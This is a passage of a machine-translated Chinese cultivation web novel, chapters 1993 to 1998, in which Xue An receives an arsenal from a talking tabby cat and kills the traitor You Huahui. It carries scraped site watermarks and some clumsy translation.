    The tabby cat consciously failed to speak, and hurriedly changed the subject, "Of course, it is too early for you to consider these. I will teach you how to use these armors as soon as possible. You must know that these items are all selected by the owner. The power is very powerful!"


    With that, as soon as the tabby cat raised his hand, several sets of armor flew over, and then he was about to demonstrate to Xue An.


    But at this moment, only Xue An said calmly: "Hold on!"


    The tabby cat was taken aback.


    Then Xue An slowly raised his head and looked at the tabby cat with dazzling eyes, "If I''m not mistaken, you and your owner should all have an inseparable relationship with the Chinese. Then ten thousand years ago Are you also aware of the Chinese catastrophe?"


    "And since this arsenal is left by your master, does it also prove that he expected riots in the future generations, so he stayed on purpose?"


    Facing Xue An''s series of questions, the tabby cat backed away again and again.


    It wasn''t until Xue An finished speaking that he sneered and said: "Sorry, I don''t know anything, I only know that I want to leave these things to you, this is my mission!"


    "Okay! I''ll ask you again, since these things are left to me, why didn''t you give them to me when I entered the arsenal last time, or even show up?"


    As soon as the words came out, the tabby cat''s eyes showed a panic, "Uh...this...this..."


    In the end he sighed helplessly, "Oh, forget it, I have a showdown, that''s right! I should have given you these things last time, but at that time I happened to fall into a deep sleep, leaving only a part of consciousness. Waiting here, so..."


    "So you only gave me the soldier talisman letter that entered this arsenal, right?"


    The tabby cat nodded in frustration, "That''s it!"


    But then he said infinitely wronged: "But I didn''t mean it. I have waited here for nine thousand years, but no one has come in. Although I can endure loneliness, nine thousand years is enough, so I I planned to take a nap, but who would have thought that you came in just as soon as I fell asleep..."


    Xue An ignored him and said lightly: "Well, since this is the case, then you have delayed a major event. Now these soldier talisman armors are no longer useful to me, goodbye!"


    After all, Xue An turned and left.


    The tabby cat became anxious at once, and appeared in front of Xue An with a flash of figure, "Hey, don''t go! This is a talisman armor that can arm an entire army, how can you go? ?"


    "Sorry, I''m not interested!" Xue An continued to walk forward without blinking his eyelids.


    The tabby cat is really anxious now, "Don''t you understand what this means? Once so many soldiers and armors are used for you, you will become the mighty power of the separatist side, and it is even possible to aspire to the heavens. what!"


    "Does that have anything to do with me?" Xue An raised his eyebrows slightly, his footsteps still unstopped.


    "Oh, let me wipe it, you can think clearly, if you leave, all these things can be left to others, then don''t regret it!" Tabby cat began to threaten viciously.


    Unexpectedly, Xue An would not eat his suit at all, and his pace did not slow down at all and walked out in a stride.


    at last.


    When Xue An took dozens of steps, he was about to tear open the void and leave here.


    The tabby cat couldn''t bear it anymore, and shouted: "Okay, I''m afraid of you, come back, I can tell you some information now, this will be done!"


    A smile appeared at the corner of Xue An''s mouth, and then slowly turned around, looking at the tabby cat with piercing eyes.


    "What you said is true?"


    "Of course it''s true! Mr. Cat is never a lie!" The tabby cat replied dejectedly, and then murmured.


    "I didn''t expect that someone could use this method to threaten me. What a miscalculation!"


    After that, he raised his head feebly, "Let''s talk, you want to know something, there is only one chance!"


    Xue An''s eyes became extremely bright, and he said in a deep voice: "I just want to know, who are you?"

 Chapter 1993： Shura Battlefield

    Unexpectedly, after hearing this question, the tabby cat shook his head very firmly.


    "I''m sorry, I can''t answer this question. Even if you really leave, I can''t complete the task and be punished, I can''t say, because once some secrets are said to be broken, they will bring unpredictable changes, the consequences No one can afford it!"


    Xue looked at the tabby cat quietly, and only nodded after a long time, "Well, in this case, let''s say goodbye!"


    With that said, Xue An turned around again [Yan Moxuan Novel Network www.xmxzw.vip] to leave.


    The tabby cat rushed to Xue An in an instant, and then crawled on the ground indefinitely.


    "Big brother, no! You are my uncle now, please don''t play with me like this, okay! Hurry up and take this soldier armor, or I can''t complete the task, and I won''t be able to go back for business. If that''s the case, I don''t know how much How long have you been stuck in this ghost place!"


    The tabby cat complained of bitterness with snot and tears.


    Xue An said calmly, "Sorry, I also have a principle. I never accept unintended gifts, and you have been hiding the origins of your arsenal. Who knows whether it is an enemy or a friend, so ...."


    Before the words were over, the tabby cat immediately vowed to the Tianmeng: "Don''t worry, big brother, my old cat swears by his own life, that I and my master will have no harm in you. These soldier armors are also to help you. Down, this is the limit I can reveal, if you still don��t believe it, then I can��t help it!"


    Xue An looked at the serious-faced tabby cat, but when he saw his eyes staring at him, he knew that the heat was almost over.


    Of course Xue An would not really leave. After all, these soldier talisman armors were very important strategic resources, and they were indispensable for the battle ten years later.


    Xue An was just to scare the tabby cat just now, so now he accepts it as soon as he sees it, nodded and said: "Okay! In that case, I will accept it reluctantly!"


    Tabby cat: "..."


    Then the face was full of expressions like I had never seen such a brazen person.


    But soon, he returned to normal, then opened his mouth and retched a few times before spitting out another soldier talisman letter and handing it to Xue An.


    "This is..." Xue An was a little confused.


    "Brother, the soldier talisman letter you got last time is only half of it. The other half is always in my stomach. Now I give it to you so that the two are combined, and you can freely control this arsenal. All the soldiers in the battle armor!" Tabby Cat explained.


    "I''m not talking about that, I''m talking about your soldier talisman, can you wipe it and give it to me?" Xue An said.


    The tabby cat was silent.


    Then there were many black lines visible to the naked eye on his forehead, but apparently, at this moment, he had been pinched to death by Xue An, so he could only resist the anger and wipe the seal with the fur on his body.


    "Is this all right?" The tabby cat said solemnly.


    Xue An smiled, took the soldier talisman letter in his hand, and said lightly: "I''m sorry, I have some cleanliness, don''t take it to heart!"


    The tabby cat snorted in his heart, but on the surface he did not dare to show it. After all, what he just said was true.


    If he can''t complete the task, he may have to wait here.


    Ten thousand years may not be too long for him, but the loneliness is unbearable.


    Therefore, in order to be able to leave this ghost place, he could only hold back his anger, and explained to Xue An in detail: "Brother, in fact, the value of this arsenal is in addition to these armors and armors, as well as the arsenal itself."


    "Oh? The arsenal itself?"


    "Yes, this arsenal itself is a top magic weapon. Now that you have mastered these two seals, it means that you are the owner of this arsenal. You can control it freely, and it will follow your heart. change."


    "Change as you want?" Xue An was startled slightly, and then the surrounding environment changed.


    A small building appeared in front of him, and at the same time a forest and lake appeared, and it was the scene in the Fubao small building.


    "See, this is one of the magical effects of this arsenal!" Tabby Cat said proudly.


    A sly look appeared in Xue An''s eyes, and then pretending to be disdainful, he said, "It''s just a talisman that can change the environment, not surprising!"


    really.


    As soon as the words came out, the tabby cat couldn''t help furious, "What did you say? You actually treat the treasure left by the master himself as a **** talisman? If it is outside, this sentence is enough for you to be sentenced on the stage of execution. Years!"


    "Am I wrong?" Xue An said lightly.


    "Huh! It really is a bun who has never seen the world!" The tabby cat murmured.


    "Huh? What did you say?"


    "Ah, nothing is nothing, I say myself!" The tabby cat sneered quickly and said in awe.


    "This function is actually just one of the most insignificant effects of this arsenal. His greatest magical effect is that he can perfectly simulate the environment of the battlefield and ensure that those who enter it will not suffer any substantial harm, but can retain all. Battle experience!"


    At this time, even Xue An couldn''t help showing shock.


    Seeing this, the tabby cat couldn''t help but smiled proudly, "How? You know how powerful this treasure is. As long as it is there, it means that you can continuously produce true elites in battle. Isn''t it amazing? "


    He said, but seeing the tabby cat wave his front paw, the surrounding environment changed again.


    Xue An and the tabby cat appeared high in the sky.


    And under their feet, is a battlefield that is fighting frantically.


    Just listen to the battle drums in the distance, while the people below are shouting to kill the sky.


    Every soldier had red eyes and rushed to the center of the battlefield desperately.


    In the center of the battlefield, there was a man who was covered in blood and looked crazy.


    After seeing the man, Xue An''s eyes suddenly condensed. Shen said: "You Huahui?"


    That''s right!


    It was You Huahui who entered the arsenal following Xue An who was fighting frantically on the battlefield below.


    It''s just that at this moment, he looks extremely miserable, and his whole person is as if he was fished out of blood with a hideous face, and he was killing him crazy.


    The tabby cat chuckled, "This guy entered the arsenal after you, and his strength is quite good, but in front of the treasure left by the owner, he also has to admit it, so this is another magical use of the arsenal!"


    "As long as you trap your opponent into the battlefield of the arsenal, as long as you are willing, no matter what strength the opponent is, you will sink into endless killing and cannot extricate yourself, so this is also called by my master...the Shura battlefield! "


    Shura battlefield!


    After hearing these four words, Xue An couldn''t help taking a breath.


    Because Shura is an extremely bloodthirsty race in the legend.


    And if you get caught in it, you will really become a lunatic who only knows how to kill, it is simply terrifying.


    At this time, the tabby cat said in a calm tone: "And do you know who he was fighting with for a long time? He was completely fighting with himself, that is, he killed himself in the end. This is the Shura battlefield. The ultimate meaning."


    "Stop killing by killing!"

 Chapter 1994： I was able to save you, but now I can kill...

    "Ultimately, kill to kill..." Xue An whispered these eight words softly, his expression suddenly became very solemn, and then looked at the tabby cat with cold eyes.


    "I really want to know who you are and why you built such a terrifying killer!"


    No wonder Xue Anhui is so solemn, it is because this Shura battlefield is too terrifying.


    You must know that You Huahui is a strong immortal emperor who has been replaced.


    But with this kind of strength, when facing this Shura battlefield, he didn''t even have the power to fight back, and he couldn''t extricate himself from falling into it. How could this not shock Xue An.


    "I know what you''re thinking, but don''t worry, I can use my cat grid to guarantee that we are all good people, like fake replacements! As for this guy..."


    The tabby cat said indifferently: "His heart is full of killing intent, so it is not surprising to be captured by this Shura battlefield."


    Speaking of this, the tabby cat smiled at Xue An.


    It''s just that the cat looks weird when it laughs, like a **** mouse winking at you, it''s irritating.


    "Now he has become the fish on the chopping board, let you slaughter him, even if you let him commit suicide now, he will not hesitate to execute it, how about it? Great!" said the tabby cat triumphantly.


    But soon he couldn''t laugh, because at this moment, Xue An stepped forward and appeared directly on the battlefield, and then said coldly at You Huahui who was fighting frantically.


    "You Huahui, do you remember me?"


    As soon as this remark came out, You Huahui was shocked, and then stood still, staring at Xue An blankly.


    "Fuck, what is this kid planning to do? Even though the other party is just an immortal emperor, you can''t just let him go like this!"


    The tabby cat exclaimed in a low voice, and then controlled the Shura battlefield, trying to sink You Huahui again.


    But for a master of You Huahui''s level, tricks that have been used once are often not so easy to use.


    Like now.


    Although You Huahui''s eyes sometimes showed terrifying killing intent, but the whole person''s demeanor was gradually returning to normal.


    What followed was that the pawns on the entire battlefield began to decrease sharply.


    at last.


    After all the soldiers on the entire battlefield disappeared, You Huahui''s eyes were completely clear.


    Then he coldly looked at Xue An, who was standing not far away, without speaking for a while.


    Xue An smiled faintly, "Why? Didn''t you know him?"


    The corners of You Huahui��s mouth raised, revealing a wicked smile, "I really don��t understand, why didn��t you just start when I was unconscious, and instead awaken me, do you think I��m not your opponent? Or is it for the ridiculous so-called morality in your heart?"


    Xue An also smiled, then shook his head slightly, and said with pity: "You guessed wrong, I awakened you neither to pity you, nor to fulfill the so-called morality, I just..."


    "I look down on you!"


    You Huahui was shocked, and his complexion instantly became extremely ugly, "What did you say?"


    Xue An sneered, "What? Didn''t you hear it clearly? Then I will say it again, you think you are my strong enemy, but from the beginning to the end, I don''t even look at you at all. Now, can you understand it?"


    You Huahui''s eyes showed an unstoppable cold light. To him, who had always been very arrogant, Xue An''s words were like a resounding slap in the face, and his face was flushed.


    But at the moment when it was about to explode, You Huahui suddenly laughed strangely.


    Amidst the laughter, You Huahui said in a sarcastic voice: "Xue An, you really haven''t changed at all. When you were the Immortal Venerable, you were good at hitting my self-esteem with this tone. At that time, I endured, who Make you the No. 1 Red Lotus Immortal Venerable in the world!"


    "But now the situation is different. After reincarnating and rebuilding, you are only a half-step immortal emperor, and I have already proven the great way. Under such a comparison of strength, you are still obsessed with the glory of the past. It''s really sad."


    "Do you really think that I was the same You Huahui who was rescued by you and then begged for mercy?"


    You Huahui''s remarks were wanton and arrogant, as if to vent a long-held grievance in his suppressed heart.


    At the same time, around his body, the extremely tyrannical momentum raged like a tornado.


    Under the power, the tabby cat couldn''t help but step back a little bit.


    "Tsk tusk, this guy has such a strong killing intent, really good material for puppets! It''s a pity that the master is not here!"


    The tabby cat sighed softly, and then looked at Xue An gleefully.


    "Boy, let me see what you do now. At that time, you can kill this guy directly. If you have to pretend to be X and wake him up, it''s okay, I guess it''s a mess!"


    The raccoon cat muttered and muttered. After being suppressed for more than 10,000 years, he had to talk about everything first.


    But at this moment, Xue An faced the terrible power that came from You Huahui, but didn''t even blink his eyelids, and said indifferently: "You have been with me for so long, but still haven''t figured out why I was Prove Dao Immortal Venerable!"


    "Because in my eyes, all the strong are ordinary people, even you... are the same!"


    When the words fell, Xue An shook his palm into a fist, and then strode out.


    Boom!


    This punch came so fast that You Huahui didn''t even react, and was blasted out by Xue An.


    Then Xue An''s figure flashed and fisted repeatedly in the air, constantly blasting You Huahui''s already falling figure into flight.


    The tabby cat stared at the scene in front of him dumbfounded. After a thousand words came to his mouth, they finally converged into one sentence.


    "Wocao! This kid is so **** fierce, he actually leapfrogged to challenge the master of the Immortal Emperor."


    When he was amazed, Xue Anye had already blasted hundreds of punches.


    After finally stopping, Xue An stood proudly, while You Huahui on the opposite side became bruised and embarrassed.


    "Ah ah ah ah Xue An, I want to kill you!!!" You Huahui was almost mad.


    He really couldn''t figure it out. It was obvious that his strength was stronger and his realm was higher, so why was he beaten by Xue An without the power to fight back?


    This is completely different from the scene that has been expected countless times!


    You must know that after proving the Taoist Emperor, You Huahui had fantasized about encountering Queen Xue An again.


    In his imagination, Xue An would definitely be beaten to his knees and begged for mercy.


    But I never expected that Xue An had encountered it now, but the scene completely turned around.


    Under the dual effects of humiliation and anger, You Huahui rushed up like a madman.


    The extremely violent might make this tabby cat feel awe-inspiring.


    Then he looked at Xue An with extremely solemn eyes.


    Now, I guess you can stand it!


    But just when he thought Xue An was about to suffer Xue An suddenly laughed, and in the laughter, he waved his hand suddenly.


    Boom!


    After a loud noise, Xue An slapped You Huahui, who was still aggressive just now, and flew out like an arrow from the string.


    That''s right!


    It is a fan flying out in the literal sense.


    I saw that You Huahui''s head was tilted to the side by Sheng Sheng''s fan, and his mouth was full of broken teeth, and then he flew out at a faster speed than before.


    Such a dramatic scene made the tabby cat''s eyes widen instantly.


    At the same time, but seeing Xue An blew his palm lightly, he said lightly: "Do you really think that if you are higher than me, you can win me? You are too naive!"


    After speaking, Xue An stepped forward, his whole body was like a rainbow, and at the same time the red lotus figure appeared above his head.


    "I was able to save you in the first place, but now I can also kill you, let alone a trivial immortal emperor, even if you are also proving Dao, the result is the same!"

 Chapter 1995： The past of the tabby cat

    You Huahui vomited blood, staring at Xue An in the distance with horror.


    At this moment, his whole body is like a rag doll that has been played by a urchin, twisted and weird.


    He could feel that his vitality was being madly lost, which made him smell death again.


    "Do you want to resist?" Xue An said lightly.


    "Haha." You Huahui suddenly laughed strangely. In the sound of laughter, he coughed up blood again and again, then swiped hard.


    "Surnamed Xue, don��t think that I will beg you for mercy. You have the ability to kill me now! As long as I die, the arrangements I left before coming will take effect immediately, and your whereabouts will It will be known to the heavens immediately! Needless to say, this consequence is, you know how serious it is!"


    Speaking of this, You Huahui laughed loudly, full of wanton arrogance.


    Because he firmly believed that Xue An would never dare to kill himself at the risk of exposing his whereabouts.


    This is the killer he left behind to survive.


    Unexpectedly, just when he smiled most proudly, a cold voice suddenly came from behind him.


    "Oh? Then you think I dare not kill you?"


    The voice was so close that even You Huahui could feel the slight air currents coming from his neck.


    This shocked him, and he just wanted to look back.


    At this moment, he suddenly felt a chill in his chest and abdomen, followed by a sharp pain.


    He lowered his head blankly and looked at it, only to see a bright red sword tip coming out of his abdomen, hanging shiningly outside.


    What appeared together was the blood spewing out.


    You Huahui felt that all his strength had been absorbed by this sword, which made him scream miserably.


    "Ah ah ah ah ah!"


    As an evil cultivator, he had pushed others into the abyss of despair countless times, but when it was his turn, he was the one who feared the most.


    "Xue An, didn''t you ever say that you would never kill your subordinates casually?" You Huahui hissed sharply.


    Xue An sneered when he heard the words, "It was then, and now is now, and as a traitor, what right do you have to call yourself my subordinate?"


    When the words fell, Xue An twisted his wrist abruptly.


    You Huahui felt that the sword in his chest and abdomen had turned around, and the piercing pain caused him to vomit blood again.


    But as the immortal emperor''s powerful vitality, he would not die so easily.


    But at this moment, Xue An''s eyes suddenly flashed a bright red light.


    Then a red lotus appeared on top of You Huahui''s head and turned quickly.


    boom!


    Red lotus fires [Big Wolf Novel Network www.htlwx.vip] poured down from top to bottom, enveloping You Huahui.


    After several evolutions, the red lotus karmic fire is already invincible.


    Even You Huahui, the immortal king who claims to be indestructible, could not resist the burning of the red lotus karma.


    You Huahui began to scream frantically, mixed with hysterical abuse.


    Xue An looked unmoved.


    at last.


    After a full quarter of an hour, You Huahui in the flames gradually became silent.


    After the last bang, the flames shot up into the sky, and You Huahui''s body completely collapsed to the ground, his flesh and blood turned into fly ash, leaving only the gray-white lustrous skeleton.


    So far.


    A generation of evil king You Huahui ended.


    Xue An stood in front of his skeleton and watched quietly.


    At this moment, the tabby cat suddenly came over and sniffed the skeleton on the ground.


    Then he raised his head and said to Xue An in infinite surprise.


    "Just so quickly did you kill a strong immortal emperor?"


    Xue An nodded, "Is there a problem?"


    "There is a problem, it is too problematic! The point is that I found out why you seemed to be pressing him all the way, this guy didn''t show his true strength from beginning to end!"


    Xue An smiled faintly, "Of course he can''t exert his true strength, because...in the last life he was my subordinate. And you think I would really be so stupid that I won''t keep a back hand?"


    Hearing Xue An''s words, and looking at Xue An''s calm smile on his face, the tabby cat suddenly stirred up a cold war.


    "It''s so insidious, you guys are really dirty!"


    "This is not called insidious, but a strategic arrangement, do you understand?" Xue An said with a smile.


    In fact, what Xue An said is indeed true. After saving this You Huahui, his subordinates had very opinions.


    After all, You Huahui is an evil cultivator. Although he vowed to change the evil and return to the right, who knows whether it is true or not.


    Although Xue An accepted him against the crowd, he also laid a secret door in You Huahui''s spiritual sense.


    Of course, it is not to target You Huahui, but to prevent him from turning back and ruining innocent creatures.


    Unexpectedly, it was an unintentional act at the beginning, but now it has been put to great use.


    Without this arrangement, although Xue An could win this You Huahui just now, he had to pay a certain price and it took a lot of setbacks to do it.


    "Cut, don''t use the word strategy to fool me. I was tired of hearing it tens of thousands of years ago!" Lihua Maoxuan curled her lips disapprovingly, and said with a sense of fascination.


    "Well, now the only fun is gone, you quickly learn from me how to control this arsenal, so I can complete the task!"


    "So anxious?"


    "Of course, because I don''t want to stay in this ghost place for a moment! The uncle cat is full of vigor, and his youth should be dedicated to those female cats. How can it be wasted here all the time?"


    Speaking of the word "female cat", the tabby cat suddenly became excited, and both eyes released light Xue An couldn''t help but smiled, "Well! Then I won''t delay you from looking for you Mother cat!"


    Said it is learning, in fact, as far as this person and cat are concerned, as long as they communicate with their spiritual minds, they can figure out the general idea, and then talk about the tricks, and they can completely master it.


    After finishing all this, the tabby cat was overwhelmed with joy, "Hahahaha, the cat has finally completed the task, Xiaobai, Xiaohua, Xiaohong, you are waiting for me, I will be back soon!"


    Xue An listened nonchalantly, "What is Xiaobai Xiaohua Xiaohong?"


    "Of course it''s my confidantes! Oh, you don''t understand!" With that, the tabby cat jumped on Xue An''s shoulders and enthusiastically told him about his heroic past.


    Although Xue An said several times that he didn''t want to listen, but the tabby cat was too excited, so he had to listen with reluctance.


    at last.


    After talking about his past with the 871 female cat, the tabby cat said with a look of aftertaste: "Back then... my love was so vigorous!"

 Chapter 1996： witch! Its the breath of witches!

    Xue An looked at the tabby cat, who was immersed in the romantic past of the past, and was suddenly speechless.


    What kind of existence would it be that would allow a tabby cat that misses the little female cat all day to take charge of such an arsenal?


    Babble.


    At the same time, the tabby cat wiped the drool from the corner of his mouth and waved his hand again and again: "Okay, now you have mastered how to use this arsenal, and the cat is about to leave. Before I leave, I still I want to tell you something!"


    Speaking of this, the tabby cat has a serious look (don''t care how a cat looks serious, he is serious anyway!).


    "This arsenal is an opportunity left by the master for this purpose. I hope you can do it for yourself, and you must not rely on the power of the arsenal to do evil!"


    Xue An couldn''t help but burst into laughter when he heard this, because what the tabby cat said was what he often said to others.


    But he nodded solemnly, "Okay, I understand!"


    "In this case, I''ll go ahead with Master Cat, little brother, I hope we can still have a chance to see you again, the green hills will not change and the green water will flow, goodbye!"


    After all, the tabby cat jumped up, then blended into the void without a sound, and disappeared.


    Xue An looked at the direction the tabby cat was leaving, was silent for a moment, and then turned and left.


    Rumble!


    With a loud noise, this arsenal shrank rapidly, and finally turned into a stream of light, flying into Xue An''s eyebrows.


    And as this arsenal shrinks and disappears, the light on the surface of this blue supergiant star is also dimmed in an instant, and at the same time the volume shrinks sharply, and it quickly becomes an ordinary red dwarf star.


    Such a change can be called a spectacle in the starry sky, but the billions of evil soldiers lined up in the void are like wood-carved clay sculptures. They have no response to everything that happens in front of them, just standing quietly. Well, waiting for their master to return.


    Xue An looked at this scene with a complex look in his eyes, both angry and regretful.


    Angrily at this You Huahui''s heart is so vicious, that he even made these hundreds of millions of creatures become evil soldiers.


    Regrettably, it was because these people should have had a better life of their own, but now they can only stand there like puppets that are off the line, waiting for their master who can never return.


    But Xue An couldn''t just sit back and leave.


    After all, these billions of evil soldiers are also a huge force, and if they cannot be used wisely, it will also be a big hidden danger for the heavens.


    Therefore, after Xue An was silent for a while, his eyes suddenly brightened, and then a monstrous evil spirit appeared all over his body.


    It is the breath of You Huahui.


    For Xue An today, it is not difficult to simulate the aura on You Huahui, after all, he planted a secret door in You Huahui''s soul.


    But when they felt this evil spirit, the billions of evil soldiers shook together, and then looked at Xue An with piercing eyes, waiting for him to give orders.


    Xue An said indifferently: "You wait for the orders, all of them will be in my palm!"


    As he said, Xue An slowly raised his hand, and then a huge brilliance appeared in the void.


    With his order, these evil soldiers also flooded in like a tide, rushing into the golden light one after another, and disappeared.


    In the blink of an eye, hundreds of millions of evil soldiers also entered the Buddha Kingdom in Xue An''s palm.


    After doing all this, Xue An turned his head and glanced at the star that was already dimmed, smiled faintly, and then turned around, turned into a streamer, and disappeared into the vast starry sky.


    After he left, a pair of emerald-like eyes suddenly appeared in the shadow of the void. It was the tabby cat who claimed to be the uncle cat.


    I saw him staring at the direction of Xue An''s departure, muttering to himself: "Master, I don''t know if this kid can win this bet as you have deduced!"


    But at this moment, there were sudden fluctuations in the distance, and the tabby cat shook all over, took a closer look, and then an extremely shocking light appeared in his eyes.


    But seeing several brilliances suddenly appeared in the distance, the most powerful man seemed to be a half-step immortal emperor level master.


    If it were nothing more than that, it would not have shocked the tabby cat so much.


    The key is that the tabby cat feels a different breath from these brilliance.


    This breath made his whole body tremble slightly, and a few words were whimpered in his mouth.


    "Witch! It''s the breath of witches!"


    Then, like a snake and scorpion, he immediately retreated silently into the darkness, and disappeared.


    As soon as his front foot disappeared, these brilliance rushed to the front.


    After Guanghua dissipated, the leader was a good-looking middle-aged woman.


    The temperament of this middle-aged woman is very noble, and her eyes are like crane eyes, pure and noble.


    If there are other people present, she will definitely exclaim in exclamation when she sees this woman.


    Because this woman is not someone else, she is the lord of Qianhe Palace, Hua is speechless.


    And standing behind her are the elders of Qianhe Palace.


    It can be said that almost all the high-levels of Qianhe Palace came out, and they all arrived.


    now.


    Hua Wuyu looked at the dim red dwarf star in front of him with a solemn expression, and said solemnly: "Have you found a clue?"


    The elders, look at me and I look at you, and then shook their heads together.


    "It''s weird that the breath came from here, but why did it suddenly disappear? And the old man also smelled an extremely powerful evil. Could it be that evil cultivators have been here before?" This elder is simply Baisi Unexplainable.


    Not only him, but all the high-levels of Qianhe Palace, including the palace lord Hua, were speechless.


    Ever since the Battle of Qianzong Xuanhui Qianhegong has been searching for Xue An''s whereabouts.


    Hua Silent even issued a flower order, eager to get rid of Xue An and then hurry up.


    But time has passed for so long, but they have found nothing, not even the slightest news about Xue An.


    But they never gave up, because they were sure they could find Xue An one step ahead of others.


    At the Qianzong Xuanhui that day, Hua''s speechless disciple, Fu Nianzhi, the chief disciple of Qianhe Palace, cursed Xue An before he died.


    You must know that this spell was left to Qianhe Palace by an indescribable or even unpredictable adult, and could not be cracked at all.


    This is equivalent to putting an indelible mark on Xue An''s body. As long as he appears in the heavens, the Thousand Crane Palace will be aware of it for the first time.


    That''s why they have been waiting for Xue An to appear.


    Until today, Hua Wuyu and the elders were having a meeting in Qianhe Palace, and suddenly felt this familiar fluctuation.

 Chapter 1997： Turn the planet into a cage

    At this time, almost all the high-levels of Qianhe Palace bombed their nests and rushed to them immediately.


    Unexpectedly, after arriving here, he was completely empty.


    The original imprint of incomparable clarity suddenly disappeared, but it was replaced by a monstrous evil spirit.


    This can''t help but Hua Silent and others are astonished and confused.


    "Evil repairs generally don''t appear in such places, and why do I think the planet in front of me is a little weird?" Hua said in a silent voice.


    "Yes, I also feel something is wrong. This star feels like a man who is a mature man was suddenly drained!" An elder in the Qianhe Palace echoed.


    Just as they were speculating randomly here, the void in the distance suddenly fluctuated violently, and then several time-space gates appeared.


    After the descendants of the Imperial Palace, Xuan Ming Ling and several top sects, they killed aggressively.


    "Xue An, you dog thief, let me see where you go... eh? Why are you?"


    A peak elder in Xuan Ming Ling was screaming and screaming, but he was taken aback when he saw Hua Wuyu and others standing in the void.


    Not only him, but also the people of the other major sects.


    "Palace Master Flower, why are you here?" a military instructor in the Palace of Human Emperor asked in a deep voice.


    Guanghua flashed in Hua''s speechless eyes, "Nonsense, naturally I am here to catch up with Xue An!"


    "Oh..." The military division replied meaningfully, "Then, Palace Master Hua and others are quite fast!"


    In fact, Hua Wuyu was shocked and inexplicable at this moment, and didn''t understand how the people in the Palace of the People and the Tomb of Xuan Ming had also heard the news.


    As if he had noticed her doubts, the peak elder of Xuan Ming Ling said solemnly: "I rushed here as soon as I received the news, but I didn''t expect that it would be too late for Palace Master Flower to wait for someone. I am ashamed!"


    Then Hua was speechless to understand what had happened.


    It turns out that just now, a major event happened in the heavens.


    This is not very strange, such a vast sky, some earth-shattering events will not happen someday.


    But this incident alone shook the entire world.


    Because almost all the Xinghai Great Sect, the Void Sect received a letter paper at the same moment.


    The content on the letterhead is very simple, only a starry sky coordinate and four characters.


    Xue An is here!


    In an instant, the entire sky was shaken.


    All the sects, including the Royal Palace of Xuan Ming Ling, became even more excited.


    We must know that with the passage of time, the pressure on the major sects is also increasing day by day.


    Now, no one among the heavens knows that the major sects are working together to strangle Xue An.


    And let so many sects join hands, just to deal with Xue An alone.


    This kind of treatment can also be called unprecedented.


    But the problem is that the big talk was blown out, and the bounty notice was posted, but Xue An seemed to have evaporated, and now there is no news.


    Isn''t this the equivalent of sitting on pins and needles?


    In fact, there are already many people in private discussing whether the operation of the sects such as the Royal Palace and Xuan Ming Ling will succeed.


    And this blow to the prestige of these top sects will also be devastating.


    After all...every day time passes, many people lose awe of it.


    In this case, everyone is sitting on pins and needles, rushing around.


    So after receiving this letter, the major sects seemed to have grasped the life-saving straw and acted immediately.


    It must be too late to fly over, so these wealthy sects immediately crossed the formation at no cost and rushed over.


    But I never expected that after I got here, I only saw the same dumb face Hua Silent and others.


    And just when this group of sects stared at them.


    Xue Anye has passed through layers of void and came to a temple.


    This temple was extremely barren and dilapidated, and it was obviously lost for a long time.


    The look on Xue An''s face couldn''t help becoming weird, and then stepped into it.


    After passing through the veranda that had collapsed for several sections, Xue An came to a hall.


    This hall has been in the dust for a long time, and the ground is thick with dust, but there are fresh footprints in it.


    At the same time, on the ground, there was a thick layer of white dust, which was completely different from the surrounding dust, which was very eye-catching.


    Not only that, but on the platform in the distance, there was a huge idol.


    This idol has also fallen into disrepair for a long time, but from that eyebrow, you can vaguely see Xue An''s shadow.


    Xue stood quietly in the middle of the hall, and sighed suddenly after a long time.


    "I didn''t expect it to look like this when I came here again!"


    With that, Xue An''s wrist turned, and a broken sword appeared in his palm.


    Despite this, after feeling the breath of this temple, the tip of this remnant sword was still whistling.


    Xue An gently stroked the body of the sword, and said lightly: "Is this the place where you have been hidden? Mo Wangan!"


    That''s right!


    The broken sword in Xue An''s hand is exactly the handle of Mo Wang''an and this temple is also the place where Mo Wang''an has been hidden after Xue An disappeared.


    It wasn''t until the battle on the earth that Xue An faced the siege of the Five Elements Evil Emperor and Shang Liang, the six immortal kings alone, that Mo Wangan felt Xue An''s call, and then went away.


    As for the dust on the ground, it happened that a group of hapless tomb robbers came here to unearth the treasures, but they were shattered by Mo Wangan''s sword energy.


    A long time passed in the blink of an eye, but when Mo Wangan came back here again, Mo Wangan was already cut off.


    Xue An looked at everything around him with blinking eyes, and finally sighed softly: "Time has passed so long, I really don''t know how Xinger and the others are already."


    As soon as the voice fell, Mo Wangan''s sword body suddenly floated into the air, and then trembling impatiently, then flew away.


    Xue An was startled slightly, and immediately followed with strides.


    This section of Mo Wangan''s sword flew extremely fast, and he rushed out of the temple in the blink of an eye, and then flew away.


    Soon, this person flew over an extremely long distance with a single sword, and a nearly pure white planet appeared behind him.


    Mo Wangan turned back, circled Xue An twice, and then shuddered at the planet.


    Xue An''s complexion also became dignified, and he took a deep breath and said, "Are you trying to tell me that Xing''er is in this planet?"


    Mo Wangan''s sword trembled slightly, as if he was nodding.


    Xue An''s expression moved slightly, then closed his eyes and urged his spiritual thoughts to detect the situation inside the planet.


    After a while, Xue An shook all over, and suddenly opened his eyes, but his eyes seemed to be blown by wind and snow, and Ren Ren''s soul was frozen.


    "Turning the planet into a cage, imprisoning life and death, so that it cannot be detached! What a vicious method!"

 Chapter 1998： Sinister

    After Xue An was dragged from the earth into the heavens by an inexplicable force, after three thousand years, he finally became the Supreme Immortal.


    The whole process sounds easy, but the difficulties and dangers in it are beyond the imagination of outsiders.


    Not to mention anything else, just the tribulations and tribulations on the path of practice are not understandable by ordinary people.


    This is also the reason why there are as many amazing talents as the crucian carp who crossed the river from ancient times to the present, but none of them can prove the Dao Xianzun''s fruit status.


    Just because it is too difficult.


    Every realm on the road of practice is like an invisible sky, blocking countless people behind the door.


    Some people finally passed away, but some people never got a glimpse of the world behind that door in their entire lives.


    Under the layers of filtering, not to mention Immortal Venerable, even immortal king powerhouses are rare among the heavens.


    As for the immortal emperor, it is even standing on top of the heavens, and there are very few existences.


    Don��t look at how easy Xue An was when he killed You Huahui before. It��s because You Huahui��s immortal emperor was obtained through a variety of wicked techniques. There was moisture in the first place, and Xue An was in his soul. The back door left in the middle, this caused him to have no power to fight back when facing Xue An.


    In fact, the strong immortal emperor, whoever is brought out, is an extraordinary genius who is unparalleled in the billions, and not only that, but also has the luck against the sky. With the dual blessing of both, It is possible to become the **** of the fairy emperor.


    With so much introduction, I just want to tell you how difficult it is to practice.


    But all the hardships and obstacles on the path of spiritual practice add up to nothing compared to the sinister heart.


